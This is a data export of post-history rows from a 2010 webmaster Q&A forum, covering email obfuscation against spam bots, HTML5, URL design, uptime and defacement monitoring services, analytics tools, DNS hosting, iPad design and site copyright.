  <row Id="95" PostHistoryTypeId="2" PostId="48" RevisionGUID="64db08c1-25d5-4e57-ba3d-c903e5b9692f" CreationDate="2010-07-08T19:27:35.293" UserId="66" Text="I'm a fan of obfuscation, where the email address is essentially rendered with Javascript.&#xD;&#xA;&#xD;&#xA;For example, `my@email.com` could be rendered as &#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;javascript:location='mailto:\u006d\u0079\u0040\u0065\u006d\u0061\u0069\u006c\u002e\u0063\u006f\u006d';void 0&quot;&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;document.write('\u006d\u0079\u0040\u0065\u006d\u0061\u0069\u006c\u002e\u0063\u006f\u006d')&lt;/script&gt;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;As far as the user is concerned, it's normal text and can be copied and pasted. Bots on the other hand will have a harder time with it.&#xD;&#xA;&#xD;&#xA;Here's the [obfuscator][1] I used.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codehouse.com/webmaster_tools/email_obfuscator/" />
  <row Id="96" PostHistoryTypeId="2" PostId="49" RevisionGUID="57458398-5cf4-498e-9430-11708c19afe2" CreationDate="2010-07-08T19:27:35.870" UserId="15" Text="I've seen [this site][1] and [this site][2], but that's a lot to digest. What are the main things about HTML5 that make it different/better than regular old (X)HTML/CSS?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintohtml5.org/&#xD;&#xA;  [2]: http://www.html5rocks.com/" />
  <row Id="97" PostHistoryTypeId="1" PostId="49" RevisionGUID="57458398-5cf4-498e-9430-11708c19afe2" CreationDate="2010-07-08T19:27:35.870" UserId="15" Text="What is new in HTML5/CSS3?" />
  <row Id="98" PostHistoryTypeId="3" PostId="49" RevisionGUID="57458398-5cf4-498e-9430-11708c19afe2" CreationDate="2010-07-08T19:27:35.870" UserId="15" Text="&lt;html5&gt;&lt;css3&gt;&lt;css&gt;&lt;xhtml&gt;&lt;html&gt;" />
  <row Id="99" PostHistoryTypeId="2" PostId="50" RevisionGUID="26c47963-fdae-49d8-a004-a0a1c4397413" CreationDate="2010-07-08T19:27:48.850" UserId="23" Text="using html encoding like `&amp;#649&amp;#7854&amp;#7575`, the browser will render it like &quot;abc&quot;" />
  <row Id="100" PostHistoryTypeId="2" PostId="51" RevisionGUID="f2939f1d-0094-4f66-9632-559fb8aca748" CreationDate="2010-07-08T19:28:38.300" UserId="59" Text="Why is it preferable to use paths with slashes instead of query-string variables in a web page URL?" />
  <row Id="101" PostHistoryTypeId="1" PostId="51" RevisionGUID="f2939f1d-0094-4f66-9632-559fb8aca748" CreationDate="2010-07-08T19:28:38.300" UserId="59" Text="Why is it preferable to use paths with slashes instead of query-string variables in a web page URL?" />
  <row Id="102" PostHistoryTypeId="3" PostId="51" RevisionGUID="f2939f1d-0094-4f66-9632-559fb8aca748" CreationDate="2010-07-08T19:28:38.300" UserId="59" Text="&lt;seo&gt;&lt;url&gt;&lt;query-string&gt;&lt;path&gt;" />
  <row Id="103" PostHistoryTypeId="16" PostId="29" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-08T19:29:16.333" UserId="9" />
  <row Id="104" PostHistoryTypeId="16" PostId="36" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-08T19:29:16.333" UserId="9" />
  <row Id="105" PostHistoryTypeId="16" PostId="9" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-07-08T19:29:16.333" UserId="9" />
  <row Id="106" PostHistoryTypeId="2" PostId="52" RevisionGUID="9727163d-0572-4cd3-b001-0b2ea7151567" CreationDate="2010-07-08T19:29:31.823" UserId="31" Text="I'm not sure if Facebook provides this for you but they do provide some tools so that you could build it for yourself. Take a look at the [FB.Event.Subscribe][1] method in their JavaScript SDK. Using that you could subscribe to Like and Comment and record the info off on your own dashboard. Not an easy solution, but it could get the job done.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/reference/javascript/FB.Event.subscribe" />
  <row Id="107" PostHistoryTypeId="2" PostId="53" RevisionGUID="17b04378-2ea5-43ef-8458-7c08336ded71" CreationDate="2010-07-08T19:29:35.770" UserId="23" Text="Youtube uses HTML5. Why not?" />
  <row Id="108" PostHistoryTypeId="2" PostId="54" RevisionGUID="c8bc09ad-f663-47e8-983a-a5f634dcb98a" CreationDate="2010-07-08T19:29:41.730" UserId="19" Text="When saving photographs in Photoshop I recommend using `File &gt; Save for Web and Devices`. It will allow you to play with compression levels and see the visual result in real time. On photographs you can usually save it lower than level 8 and still get great results.&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://content.screencast.com/users/jessegavin/folders/Jing/media/0b378a34-6a70-4d6c-8918-2cae92e57d45/2010-07-08_1428.png" />
  <row Id="110" PostHistoryTypeId="2" PostId="56" RevisionGUID="fcdc7792-1e28-4fa5-a1fa-90fedb8a49f6" CreationDate="2010-07-08T19:30:10.777" UserId="61" Text="Nothing against prototype but it does not have the amount of plug-ins or nearly as large of a community as jQuery does. &#xD;&#xA;&#xD;&#xA;For jQuery there is already a plug-in for almost anything, so I end up writing a lot less js. " />
  <row Id="112" PostHistoryTypeId="2" PostId="58" RevisionGUID="5c9db234-dc6b-414a-94db-f5b88091fe66" CreationDate="2010-07-08T19:30:17.283" UserId="59" Text="Are there any services that will monitor a web site and report if it gets hacked and defaced?  Which are reputable and recommended?  How does the service notify you when your site is having problems?" />
  <row Id="113" PostHistoryTypeId="1" PostId="58" RevisionGUID="5c9db234-dc6b-414a-94db-f5b88091fe66" CreationDate="2010-07-08T19:30:17.283" UserId="59" Text="Services to monitor if site is hacked and defaced?" />
  <row Id="114" PostHistoryTypeId="3" PostId="58" RevisionGUID="5c9db234-dc6b-414a-94db-f5b88091fe66" CreationDate="2010-07-08T19:30:17.283" UserId="59" Text="&lt;service&gt;&lt;monitoring&gt;&lt;content&gt;" />
  <row Id="115" PostHistoryTypeId="2" PostId="59" RevisionGUID="4ffc0816-ad39-4804-b97a-282fbf49fcbe" CreationDate="2010-07-08T19:30:20.183" UserId="42" Text="If price is your main concern then it probably doesn't matter.  However, I think some brands are trusted more than others e.g. Verisign is more well known than Comodo, so your users may be more comfortable if you go with Verisign." />
  <row Id="119" PostHistoryTypeId="2" PostId="61" RevisionGUID="b20c5f3b-f296-4ea0-8e3a-05ca80a3bb8f" CreationDate="2010-07-08T19:31:05.707" UserId="60" Text="Various SEO consultancies have recommended that to get a site included in Google News, the URLs have to conform to a rather strict, and non-obvious format namely [that they have to][1]:&#xD;&#xA;&#xD;&#xA;&gt; Display a three-digit number. The URL for each article must contain a unique number consisting of at least three digits. For example, we can't crawl an article with this URL: http://www.google.com/news/article23.html. We can, however, crawl an article with this URL: http://www.google.com/news/article234.html. Keep in mind that if the only number in the article consists of an isolated four-digit number that resembles a year, such as http://www.google.com/news/article2006.html, we won't be able to crawl it.&#xD;&#xA;&#xD;&#xA;However, there a number of news publishers who are listed in Google News, and don't have a unique, non-year number in them (i.e. The Guardian, who's urls are of the form `http://www.guardian.co.uk/technology/2010/jul/08/article-name`).&#xD;&#xA;&#xD;&#xA;Has anyone had any experience of getting sites listed with URLs such as this, and did they have to go through additional steps with Google to get them listed, or was a simple submission enought?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/news_pub/bin/answer.py?hl=en&amp;answer=68323" />
  <row Id="120" PostHistoryTypeId="1" PostId="61" RevisionGUID="b20c5f3b-f296-4ea0-8e3a-05ca80a3bb8f" CreationDate="2010-07-08T19:31:05.707" UserId="60" Text="How important is a unique number in URLs for inclusion in Google News?" />
  <row Id="121" PostHistoryTypeId="3" PostId="61" RevisionGUID="b20c5f3b-f296-4ea0-8e3a-05ca80a3bb8f" CreationDate="2010-07-08T19:31:05.707" UserId="60" Text="&lt;seo&gt;&lt;google&gt;&lt;url-format&gt;&lt;google-news&gt;" />
  <row Id="122" PostHistoryTypeId="2" PostId="62" RevisionGUID="b884a636-cd87-4225-b00d-132421c9f592" CreationDate="2010-07-08T19:31:40.010" UserId="67" Text="This is one of the core reasons to develop on an Apple computer. Using VMWare Fusion or other emulation softwares, it is the only computer that you can legally install all of the major operating systems on.&#xD;&#xA;&#xD;&#xA;Then you can test the actual browsers in the actual OSes, not reliant upon outside sources to do your dirty work for you, where you can use the native debugging tools to fix/diagnose any errors." />
  <row Id="123" PostHistoryTypeId="2" PostId="63" RevisionGUID="a6709c95-79ad-4f61-9f4c-ce7b88945259" CreationDate="2010-07-08T19:31:42.257" UserId="59" Text="Are there any services that will monitor a web site and report if it goes down, or experiences unreasonable response time? Which are reputable and recommended?  How does the service notify you when your site is having problems?" />
  <row Id="124" PostHistoryTypeId="1" PostId="63" RevisionGUID="a6709c95-79ad-4f61-9f4c-ce7b88945259" CreationDate="2010-07-08T19:31:42.257" UserId="59" Text="Services to monitor and report if a web site goes down?" />
  <row Id="125" PostHistoryTypeId="3" PostId="63" RevisionGUID="a6709c95-79ad-4f61-9f4c-ce7b88945259" CreationDate="2010-07-08T19:31:42.257" UserId="59" Text="&lt;service&gt;&lt;monitoring&gt;&lt;availability&gt;" />
  <row Id="130" PostHistoryTypeId="2" PostId="66" RevisionGUID="7dedd480-6f2d-4f1e-9d81-ffb2cd5e40d1" CreationDate="2010-07-08T19:32:22.707" UserId="77" Text="I believe jQuery hosted via Google CDN opens up both." />
  <row Id="132" PostHistoryTypeId="2" PostId="68" RevisionGUID="a86f3cdf-79c1-4906-8009-f28f4b55a478" CreationDate="2010-07-08T19:32:35.653" UserId="63" Text="You mean: site.com/Teams/Arsenal instead of site.com?team=arsenal&#xD;&#xA;&#xD;&#xA;Will other than the fact they will be implemented differently the former is both cleaner and also hackable. So if you remove 'Arsenal' it could display a list of teams. " />
  <row Id="133" PostHistoryTypeId="2" PostId="69" RevisionGUID="5dc8b95d-fbd3-4dd8-aea8-8903a50a67db" CreationDate="2010-07-08T19:32:50.210" UserId="67" Text="aremysitesup.com is an easy solution, with a free option. I use it for my personal blog :)" />
  <row Id="134" PostHistoryTypeId="2" PostId="70" RevisionGUID="e0b9dac0-410b-407c-b801-fcdab73a8435" CreationDate="2010-07-08T19:33:04.063" UserId="65" Text="I would recommend http://www.pingdom.com&#xD;&#xA;&#xD;&#xA; - You can use pindom to monitor http,&#xD;&#xA;   and various other services, you can&#xD;&#xA;   get it to send you alerts by email,&#xD;&#xA;   text, even DM you on twitter.&#xD;&#xA; - You can also choose the level of the checks every 10 minutes 5 mintutes etc.&#xD;&#xA; - They will can also give you a report which you can link to on your website, which would give you an uptime report&#xD;&#xA;&#xD;&#xA;A more server level service is http://www.serverdensity.com/ Which requires you to add a script to server, but will give you real-time graphs or mysql, apache etc." />
  <row Id="136" PostHistoryTypeId="2" PostId="72" RevisionGUID="1686e203-d7e6-4df4-9d02-3ee5ee61780a" CreationDate="2010-07-08T19:33:31.550" UserId="59" Text="What are the basic things to do in order to make a web site iPhone-friendly or more mobile-accessible in general?" />
  <row Id="137" PostHistoryTypeId="1" PostId="72" RevisionGUID="1686e203-d7e6-4df4-9d02-3ee5ee61780a" CreationDate="2010-07-08T19:33:31.550" UserId="59" Text="What are the basic things to do in order to make a web site iPhone-friendly or more mobile-accessible?" />
  <row Id="138" PostHistoryTypeId="3" PostId="72" RevisionGUID="1686e203-d7e6-4df4-9d02-3ee5ee61780a" CreationDate="2010-07-08T19:33:31.550" UserId="59" Text="&lt;css&gt;&lt;xhtml&gt;&lt;html&gt;&lt;mobile&gt;&lt;iphone&gt;" />
  <row Id="140" PostHistoryTypeId="2" PostId="74" RevisionGUID="0fe4946a-3c80-48c3-8fb1-683e55bb7b29" CreationDate="2010-07-08T19:33:58.087" UserId="41" Text="It's mostly a matter of preference. Some people don't like how Prototype extends objects, but for basic use they are fairly equivalent.&#xD;&#xA;&#xD;&#xA;Prototype is still in active development - they put out a release candidate for the next release just a couple months ago." />
  <row Id="141" PostHistoryTypeId="2" PostId="75" RevisionGUID="214db5d6-0310-45dd-8b9d-c3a4c183ad16" CreationDate="2010-07-08T19:33:58.600" UserId="64" Text="I've used fred@no-spam.domain.com for years.  Users typically know enough to delete the 'no-spam.'.&#xD;&#xA;&#xD;&#xA;Otherwise, I just use a contact form with a 'captcha' and send the mail directly from the website." />
  <row Id="143" PostHistoryTypeId="2" PostId="76" RevisionGUID="2b4c9e4e-6d77-4828-b2ce-6e9e68a77f44" CreationDate="2010-07-08T19:34:11.423" UserId="75" Text="If your site gets big enough where it's a problem (or your registrar sucks enough where it's a problem) then you should host DNS servers with another company. One that is known for such things.&#xD;&#xA;&#xD;&#xA;Otherwise, stay with the hosting provider.  &#xD;&#xA;&#xD;&#xA;Hosting providers (especially the inexpensive ones) don't put the same effort into DNS as the companies that Do It For a Living.  It's sort of like running water, no one thinks about it until it stops working.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="144" PostHistoryTypeId="2" PostId="77" RevisionGUID="2d3dd627-e6e3-4246-a1ae-9e06cb7b9774" CreationDate="2010-07-08T19:34:16.523" UserId="57" Text="There are the basic layout thing like border-radius, shadows (box/text), rgba support, and so on; This is what CSS3 is most known for. More interesting are the canvas tag, video tag, local storage, websockets and so on that will create much richer user experiences in plain HTML/JS/CSS. These features have the potential to be a great alternative for Flash on the web without the need of additional plugins." />
  <row Id="145" PostHistoryTypeId="2" PostId="78" RevisionGUID="b4197e82-a737-4a8e-af2c-caf5ebf40f7b" CreationDate="2010-07-08T19:34:26.867" UserId="28" Text="There are anothers, but everyone has its limitations. i remember xiti from http://www.atinternet.com/  omniture from adobe, and there are some open source solutions that will work if you don't have a very large site like piwik.org&#xD;&#xA;&#xD;&#xA;Someones do something better than others, but in my experience google analytics outperforms the other in price/cost, because it's almost free (you have to have a linked adword account  with a expenditure of at least 1 euro a day to remove some limits) and you can do almost anything that you wan't to do with an analytics tool. The only thing that bugs me in google analytics it's the 50.000 thousand limit in every dimension, that it's that if you  have more than 50.000 diferent pages in your site, just the first 50.000 are going to be tracked with the page name, and all the others are going to be in a &quot;(other)&quot; clause. " />
  <row Id="146" PostHistoryTypeId="2" PostId="79" RevisionGUID="551c0632-5df2-4488-b579-c0c68f89b600" CreationDate="2010-07-08T19:34:33.513" UserId="50" Text="Depending on the feature set of the Registrar you're using, it may be advantageous to host your DNS elsewhere.  &#xD;&#xA;&#xD;&#xA;If, for example, you require Dynamic DNS services (DNS records that are updated automatically when a destination's IP changes), or wildcard DNS (allowing &lt;anything&gt;.yourdomain.com to point to a certain IP), many Registrars do not offer these services.&#xD;&#xA;&#xD;&#xA;If you do not require any special capabilities, in my experience, the difference (outside of the SLA of your Registrar vs that of a dedicated DNS host) is mostly moot." />
  <row Id="147" PostHistoryTypeId="2" PostId="80" RevisionGUID="0e9cf5f2-5072-4f1c-98a6-2e8e071bed6a" CreationDate="2010-07-08T19:34:50.330" UserId="62" Text=" - http://browsershots.org/ (online service).&#xD;&#xA;&#xD;&#xA; - http://www.browsera.com/ (online service, not free).&#xD;&#xA;&#xD;&#xA; - http://crossbrowsertesting.com/ (on-line service, not free).&#xD;&#xA;&#xD;&#xA; - http://www.multibrowserviewer.com/ (virtualized web browsers, not free).&#xD;&#xA;&#xD;&#xA; - http://www.browserseal.com/ (virtualized web browsers, not free).&#xD;&#xA;&#xD;&#xA; - Multi Browser vmWare Appliance: http://www.vmware.com/appliances/directory/335/" />
  <row Id="148" PostHistoryTypeId="2" PostId="81" RevisionGUID="7c12d447-c20a-4e1a-b212-9b2da195c38e" CreationDate="2010-07-08T19:35:09.003" UserId="67" Text="One of the primary reasons is for end-user readability. A slashed/re-written url is significantly easier to read and type than a long string of queries attached onto the end of a base url" />
  <row Id="149" PostHistoryTypeId="2" PostId="82" RevisionGUID="ee483d47-70c4-4ae0-8ead-8e1638854957" CreationDate="2010-07-08T19:35:35.007" UserId="69" Text="Better is relative to what you are looking for. Google Analytics is pretty feature rich but there are a lot of alternatives. I would break them down into the following buckets:&#xD;&#xA;&#xD;&#xA; - Paid hosted: [Omniture][1]&#xD;&#xA; - Paid installable: [Webtrends][2]&#xD;&#xA; - Free installable: [AWStats][3]&#xD;&#xA; - Other: [Crazy Egg][4] and [ChartBeat][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.omniture.com/en/&#xD;&#xA;  [2]: http://www.webtrends.com/&#xD;&#xA;  [3]: http://awstats.sourceforge.net/&#xD;&#xA;  [4]: http://www.crazyegg.com/&#xD;&#xA;  [5]: http://www.chartbeat.com" />
  <row Id="150" PostHistoryTypeId="2" PostId="83" RevisionGUID="1701c728-32eb-4b90-b27b-73968a51251b" CreationDate="2010-07-08T19:35:59.390" UserId="42" Text="&lt;a href=&quot;https://www.google.com/webmasters/tools/&quot;&gt;Google Webmaster Tools&lt;/a&gt; will notify you of malware. It will show a message in the console, and I think it will email you as well.  I am not sure about how swiftly they do so though." />
  <row Id="151" PostHistoryTypeId="5" PostId="14" RevisionGUID="465340ff-a00b-450e-806e-b27364c26f3f" CreationDate="2010-07-08T19:36:15.100" UserId="36" Comment="added 2 characters in body" Text="Here are some rules I follow:&#xD;&#xA;&#xD;&#xA; - Try not to repeat content.&#xD;&#xA; - Try to get linked from other, **quality** websites whilst keeping your outgoing links low.&#xD;&#xA; - Give each page a relevant (and unique) title.&#xD;&#xA; - Add in a meta-description to each page describing the contents or purpose.&#xD;&#xA; - Build a sitemap for your website and submit it using the Google WebMaster tools.&#xD;&#xA; - Keep content unique and relevant.&#xD;&#xA; - Use HTML correctly (header tags, titles and alt attributes on images).&#xD;&#xA; - Try to use relevant keywords in the URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Over time your domain will gain &quot;trust&quot; with Google and naturally rank better.  If you try to speed this process up, using things like keyword spamming on your website, you are likely to be picked up and blacklisted by Google so avoid this wherever possible." />
  <row Id="152" PostHistoryTypeId="2" PostId="84" RevisionGUID="4bfc1d66-0e13-49a2-890e-40581cd72388" CreationDate="2010-07-08T19:36:43.210" UserId="75" Text="I'd like for my website to be accessible (e.g., fully usable) through the IPad.&#xD;&#xA;&#xD;&#xA;What do I need to do?" />
  <row Id="153" PostHistoryTypeId="1" PostId="84" RevisionGUID="4bfc1d66-0e13-49a2-890e-40581cd72388" CreationDate="2010-07-08T19:36:43.210" UserId="75" Text="Designing for the IPad" />
  <row Id="154" PostHistoryTypeId="3" PostId="84" RevisionGUID="4bfc1d66-0e13-49a2-890e-40581cd72388" CreationDate="2010-07-08T19:36:43.210" UserId="75" Text="&lt;ipad&gt;&lt;website-design&gt;" />
  <row Id="155" PostHistoryTypeId="2" PostId="85" RevisionGUID="1ab2b635-cb05-4e35-988f-c1438305328a" CreationDate="2010-07-08T19:36:49.357" UserId="59" Text="What's required of a web server in order to offer up streaming video?  Where would you start?" />
  <row Id="156" PostHistoryTypeId="1" PostId="85" RevisionGUID="1ab2b635-cb05-4e35-988f-c1438305328a" CreationDate="2010-07-08T19:36:49.357" UserId="59" Text="What's required of a web server in order to offer up streaming video?" />
  <row Id="157" PostHistoryTypeId="3" PostId="85" RevisionGUID="1ab2b635-cb05-4e35-988f-c1438305328a" CreationDate="2010-07-08T19:36:49.357" UserId="59" Text="&lt;video&gt;&lt;server&gt;&lt;bandwidth&gt;" />
  <row Id="158" PostHistoryTypeId="2" PostId="86" RevisionGUID="2e172727-4790-4653-a95b-a282f3252cec" CreationDate="2010-07-08T19:37:25.643" UserId="80" Text="Darn it Jim, I'm a developer, not a writer!  Great copy is paramount to search engine rankings and making visitors feel good about whatever the website is offering.  What is the best way to go about finding an awesome writer who specializes in writing great copy specifically for the web?" />
  <row Id="159" PostHistoryTypeId="1" PostId="86" RevisionGUID="2e172727-4790-4653-a95b-a282f3252cec" CreationDate="2010-07-08T19:37:25.643" UserId="80" Text="How do I go about finding a good copy writer?" />
  <row Id="160" PostHistoryTypeId="3" PostId="86" RevisionGUID="2e172727-4790-4653-a95b-a282f3252cec" CreationDate="2010-07-08T19:37:25.643" UserId="80" Text="&lt;copy&gt;&lt;writing&gt;" />
  <row Id="161" PostHistoryTypeId="2" PostId="87" RevisionGUID="688b55bc-93c0-4324-bbc5-0bc972f5e1a4" CreationDate="2010-07-08T19:37:27.140" UserId="67" Text="You missed the #1 alternative: mint analytics&#xD;&#xA;&#xD;&#xA;haveamint.com&#xD;&#xA;&#xD;&#xA;Most of the aftermarket tools available for iOS, for example, support GA or Mint" />
  <row Id="162" PostHistoryTypeId="2" PostId="88" RevisionGUID="79454135-7ca2-44a4-a97f-e7b6818925d9" CreationDate="2010-07-08T19:37:53.100" UserId="19" Text="Some folks like http://haveamint.com/ too." />
  <row Id="163" PostHistoryTypeId="2" PostId="89" RevisionGUID="629e0363-71f6-486a-884e-024877208e0b" CreationDate="2010-07-08T19:38:04.813" UserId="27" Text="What is the best initial or general setup for the robot.txt to allow search engines to go through the site, but maybe restrict a few folders?&#xD;&#xA;&#xD;&#xA;Is there a general setup that should always be used?" />
  <row Id="164" PostHistoryTypeId="1" PostId="89" RevisionGUID="629e0363-71f6-486a-884e-024877208e0b" CreationDate="2010-07-08T19:38:04.813" UserId="27" Text="What is the best configuration for robot.txt" />
  <row Id="165" PostHistoryTypeId="3" PostId="89" RevisionGUID="629e0363-71f6-486a-884e-024877208e0b" CreationDate="2010-07-08T19:38:04.813" UserId="27" Text="&lt;seo&gt;&lt;robot.txt&gt;" />
  <row Id="166" PostHistoryTypeId="2" PostId="90" RevisionGUID="52722650-c973-444d-9df7-9c914c925a07" CreationDate="2010-07-08T19:38:08.667" UserId="87" Text="I highly recommend having an actual devise to test your site on as you develop." />
  <row Id="168" PostHistoryTypeId="2" PostId="91" RevisionGUID="46dd00da-835b-45c2-b8e0-40c4957f5196" CreationDate="2010-07-08T19:38:38.230" UserId="65" Text="The iPad primarily uses the browser Safari - or alteast its own version, so making sure it works on there is a good starting point, if you don't have a device to test it on then check the normal safari first. From here you should be able a to find a simulator.&#xD;&#xA;&#xD;&#xA;Other mobile browsers can be downloaded as apps, I know opera has hits own app for browsing, also firefox just realised there first version although it only on Nokia at the moment.&#xD;&#xA;" />
  <row Id="169" PostHistoryTypeId="2" PostId="92" RevisionGUID="8b670b37-1067-4f2f-be2e-d6dec7e88ab3" CreationDate="2010-07-08T19:39:11.677" UserId="48" Text="We use a service like that from [serviceuptime.com][1]. Its been working well enough for us not to change. We do occasionally have issues with getting it to send out SMS alerts reliably and promptly.&#xD;&#xA;&#xD;&#xA;We had something internal we hacked together before we used this outfit. One day the power went down and the generators at the hosting company failed and then the battery backup gave out. Everything went down and we didn't know. Lesson learned, always monitor up-time from an external location(s). It's also great for detecting DNS configuration changes/issues.&#xD;&#xA;&#xD;&#xA;I'd be happy to hear of other services that might be better.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.serviceuptime.com" />
  <row Id="170" PostHistoryTypeId="2" PostId="93" RevisionGUID="fa4271a3-851e-4a66-9347-8ef83ecc17e7" CreationDate="2010-07-08T19:39:21.240" UserId="67" Text="Because the Safari browser on the iPad is the most advanced browser in general distribution, you can utilize all of the latest CSS3 and HTML5 techniques without having to hack in support for older non-standards compliant browsers." />
  <row Id="171" PostHistoryTypeId="2" PostId="94" RevisionGUID="2bb5cc5b-647b-4dcd-9cac-f055faac9dd4" CreationDate="2010-07-08T19:39:48.993" UserId="36" Text="I would highly recommend testing IE in [IETester][1], [available here][1].  It's lightweight, fast, accurate and supports all IEs from 5.5-up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.my-debugbar.com/wiki/IETester/HomePage" />
  <row Id="172" PostHistoryTypeId="6" PostId="2" RevisionGUID="93615f4a-5dee-4ab4-95cb-2339a5b442d4" CreationDate="2010-07-08T19:39:57.650" UserId="86" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;siterank&gt;" />
  <row Id="173" PostHistoryTypeId="2" PostId="95" RevisionGUID="b3e8de1d-a247-457c-9b75-8f262c18bd59" CreationDate="2010-07-08T19:39:59.397" UserId="80" Text="My website has been in development for a long time and cost a lot of money.  How do I go about securing an enforceable copyright on my website design and what is the proper way to post a copyright notice on the site so others know the work is copyrighted?" />
  <row Id="174" PostHistoryTypeId="1" PostId="95" RevisionGUID="b3e8de1d-a247-457c-9b75-8f262c18bd59" CreationDate="2010-07-08T19:39:59.397" UserId="80" Text="How do I copyright my website?" />
  <row Id="175" PostHistoryTypeId="3" PostId="95" RevisionGUID="b3e8de1d-a247-457c-9b75-8f262c18bd59" CreationDate="2010-07-08T19:39:59.397" UserId="80" Text="&lt;copy&gt;&lt;copyright&gt;&lt;legal&gt;" />
  <row Id="176" PostHistoryTypeId="2" PostId="96" RevisionGUID="c00437e7-2176-45f7-8704-543144d33c59" CreationDate="2010-07-08T19:40:05.997" UserId="75" Text="[Elance.com][1] is a possibility, they have professional writers that you can hire by the job.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://elance.com" />
  <row Id="177" PostHistoryTypeId="2" PostId="97" RevisionGUID="8cc36aaa-7037-42ca-8688-7105c60d909e" CreationDate="2010-07-08T19:40:16.197" UserId="57" Text="With more and more phones with higher resolution, good browser scaling and normal javascript/css support it's much less needed to make a special version of your site for mobile. Make sure you don't rely on :hover and you will do fine I guess. There is a good article on A list apart about fluid layouts which fit for all devices, take a look: http://www.alistapart.com/articles/responsive-web-design/" />
  <row Id="178" PostHistoryTypeId="2" PostId="98" RevisionGUID="94a14bda-920f-4aec-99a2-c87f8938a1e1" CreationDate="2010-07-08T19:40:28.507" UserId="76" Text="I use [UptimeRobot](http://www.uptimerobot.com) and have been very pleased. It's pretty basic monitoring (does a url that you specify respond with 200OK and in a reasonable amount of time?), but it's free, and they offer alerts via Email, SMS (via email gateways, which are sometimes delayed), and twitter.&#xD;&#xA;&#xD;&#xA;I recently had an outage while I happened to be using the server, and I was notified within 4-5 minutes. I'm definitely pleased with the service, considering what I'm paying for it. ($0)" />
  <row Id="179" PostHistoryTypeId="5" PostId="14" RevisionGUID="e12edb59-e554-49ea-b399-5bea50798d43" CreationDate="2010-07-08T19:41:17.647" UserId="36" Comment="added 57 characters in body; added 16 characters in body" Text="Here are some rules I follow:&#xD;&#xA;&#xD;&#xA; - Try not to repeat content.&#xD;&#xA; - Try to get linked from other, **quality** websites whilst keeping your outgoing links low.&#xD;&#xA; - Give each page a relevant (and unique) title.&#xD;&#xA; - Add in a meta-description to each page describing the contents or purpose.&#xD;&#xA; - Build a sitemap for your website and submit it using the [Google WebMaster tools][1].&#xD;&#xA; - Keep content unique and relevant to your website.&#xD;&#xA; - Use HTML correctly (header tags, titles and alt attributes on images).&#xD;&#xA; - Try to use relevant keywords in the URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Over time your domain will gain &quot;trust&quot; with Google and naturally rank better.  If you try to speed this process up, using things like keyword spamming on your website, you are likely to be picked up and blacklisted by Google so avoid this wherever possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/" />
  <row Id="181" PostHistoryTypeId="2" PostId="100" RevisionGUID="6d183e3b-9f68-44f3-934b-114e84301090" CreationDate="2010-07-08T19:42:26.847" UserId="15" Text="There's been a lot of controversy over the future (and current) use of Flash and the adoption of Silverlight. Should I continue to use it if I am already or should I use something else, like HTML5?" />
  <row Id="182" PostHistoryTypeId="1" PostId="100" RevisionGUID="6d183e3b-9f68-44f3-934b-114e84301090" CreationDate="2010-07-08T19:42:26.847" UserId="15" Text="Should I still use Flash or Silverlight?" />
  <row Id="183" PostHistoryTypeId="3" PostId="100" RevisionGUID="6d183e3b-9f68-44f3-934b-114e84301090" CreationDate="2010-07-08T19:42:26.847" UserId="15" Text="&lt;html5&gt;&lt;flash&gt;&lt;silverlight&gt;" />
  <row Id="184" PostHistoryTypeId="5" PostId="82" RevisionGUID="fdfc0d89-8a15-4114-9b4a-9b88d06df8e6" CreationDate="2010-07-08T19:42:26.957" UserId="69" Comment="Put examples at the end,." Text="Better is relative to what you are looking for. Google Analytics is pretty feature rich but there are a lot of alternatives. I would break them down into the following buckets with an example of each:&#xD;&#xA;&#xD;&#xA; - **Paid hosted**: This will generally be a lot like Google Analytics but you will get the added bonus of things happening in closer to real time and a lot more bells and whistles that may be important to someone in a marketing position. An example that falls into this bucket is [Omniture][1].&#xD;&#xA; - **Paid installable**: A lot of these guys have gone to the hosted model as well but still allow you to buy what amounts to a self hosted version of their product still. At one point it seemed like Google might re-release [Urchin][3] (the start of what turned into Google Anaylitics) in this form but I haven't seen anything recently. Going this route is going to give the ability to track people based on logs as well in most cases and that can be an advantage. An example that falls into this bucket is [Webtrends][2].&#xD;&#xA; - **Free installable**: This group won't be nearly as feature rich as the first two but will get the job done. Most of these will use your server logs to generate the stats and that can be both good and bad. An example that falls into this bucket is [AWStats][4].&#xD;&#xA; - **Other**: These are where things are probably headed in the analytics realm. Both real time and more visual. Examples that fall into this bucket are [Crazy Egg][5] and [ChartBeat][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.omniture.com/en/&#xD;&#xA;  [2]: http://www.webtrends.com/&#xD;&#xA;  [3]: http://www.google.com/urchin/&#xD;&#xA;  [4]: http://awstats.sourceforge.net/&#xD;&#xA;  [5]: http://www.crazyegg.com/&#xD;&#xA;  [6]: http://www.chartbeat.com" />
